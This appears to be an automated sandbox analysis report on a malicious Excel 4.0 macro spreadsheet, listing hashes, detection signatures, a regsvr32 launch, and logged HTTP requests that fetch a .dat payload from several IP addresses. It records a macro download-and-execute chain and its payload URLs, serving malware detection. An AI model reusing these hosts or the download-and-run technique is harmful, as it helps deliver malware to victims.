Windows Analysis Report ComplaintDetails-1244065104-Nov-17.xlsb

Overview

General Information

Sample Name: ComplaintDetails-1244065104-Nov-17.xlsb
Analysis ID: 532936
MD5: cfee2afbf9c7456b62417ccf80e70009
SHA1: 2d43d6ad54fb33ce77467394e621963d528cc57f
SHA256: 0a7656fab771936b9586b8b90ebe9d38f34fa64d8e465f3f53c4df20f3c1ca44
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Multi AV Scanner detection for submitted file
Found malicious Excel 4.0 Macro
Multi AV Scanner detection for domain / URL
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Found protected and hidden Excel 4.0 Macro sheet
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Yara detected Xls With Macro 4.0
Potential document exploit detected (performs HTTP gets)

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: ComplaintDetails-1244065104-Nov-17.xlsb Virustotal: Detection: 45% Perma Link
Source: ComplaintDetails-1244065104-Nov-17.xlsb ReversingLabs: Detection: 39%
Multi AV Scanner detection for domain / URL
Source: http://185.138.164.244/ Virustotal: Detection: 6% Perma Link
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Section loaded: unknown origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.4:49768 -> 190.14.37.101:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.4:49768 -> 190.14.37.101:80
Source: excel.exe Memory has grown: Private usage: 1MB later: 69MB

Networking:

barindex
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /44532.8765170139.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 190.14.37.101Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /44532.8765170139.dat HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.138.164.244Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown TCP traffic detected without corresponding DNS query: 185.81.114.236
Source: unknown TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: unknown TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown TCP traffic detected without corresponding DNS query: 185.138.164.244
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.101
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 20:02:12 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 02 Dec 2021 20:02:34 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://185.138.164.244/
Source: EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830841555.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792303389.0000000015294000.00000004.00000001.sdmp String found in binary or memory: http://185.138.164.244/44532.8765170139.dat
Source: EXCEL.EXE, 00000000.00000003.656762387.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.657190666.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712700929.0000000015294000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829061292.0000000015322000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.828753407.0000000015491000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830576983.0000000015491000.00000004.00000001.sdmp, sheet1.bin String found in binary or memory: http://185.138.164.244/E
Source: EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://185.81.114.236/
Source: EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://185.81.114.236/3321935-2125563209-4053062332-1002c
Source: EXCEL.EXE, 00000000.00000003.886889472.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791754517.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.984241011.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830841555.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://185.81.114.236/44532.8765170139.dat
Source: EXCEL.EXE, 00000000.00000003.886889472.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791754517.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.984241011.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830841555.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://185.81.114.236/44532.8765170139.dat_
Source: EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://185.81.114.236/5563209-4053062332-1002
Source: EXCEL.EXE, 00000000.00000003.829061292.0000000015322000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.828753407.0000000015491000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830576983.0000000015491000.00000004.00000001.sdmp, sheet1.bin String found in binary or memory: http://185.81.114.236/C
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://185.81.114.236/X
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.727771592.0000000015232000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/
Source: EXCEL.EXE, 00000000.00000003.886889472.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791754517.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.984241011.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830841555.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/44532.8765170139.dat
Source: EXCEL.EXE, 00000000.00000003.886889472.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791754517.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.984241011.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830841555.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/44532.8765170139.dat#
Source: EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/44532.8765170139.datO
Source: EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/44532.8765170139.datS
Source: EXCEL.EXE, 00000000.00000003.713091616.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791754517.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728295754.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/44532.8765170139.datc
Source: EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://190.14.37.101/53321935-2125563209-4053062332-1002y
Source: EXCEL.EXE, 00000000.00000003.829061292.0000000015322000.00000004.00000001.sdmp, sheet1.bin String found in binary or memory: http://190.14.37.101/A
Source: EXCEL.EXE, 00000000.00000003.656762387.000000001528F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.657190666.000000001528F000.00000004.00000001.sdmp String found in binary or memory: http://190.3
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: EXCEL.EXE, 00000000.00000002.980113337.000000000D38F000.00000004.00000001.sdmp String found in binary or memory: http://purl.oclc.org/ooxml/drawingml/diagramitT
Source: EXCEL.EXE, 00000000.00000002.980113337.000000000D38F000.00000004.00000001.sdmp String found in binary or memory: http://purl.oclc.org/ooxml/drawingml/table
Source: EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: http://schemas.microsoft.co
Source: EXCEL.EXE, 00000000.00000003.829481826.0000000012C79000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.828673891.0000000015551000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829005283.000000001550D000.00000004.00000001.sdmp String found in binary or memory: http://schemas.open
Source: EXCEL.EXE, 00000000.00000003.828673891.0000000015551000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/package/2006/content-t
Source: EXCEL.EXE, 00000000.00000003.829481826.0000000012C79000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829005283.000000001550D000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/package/2006/r
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://addinsinstallation.store.office.com/app/downloadC
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticatedk
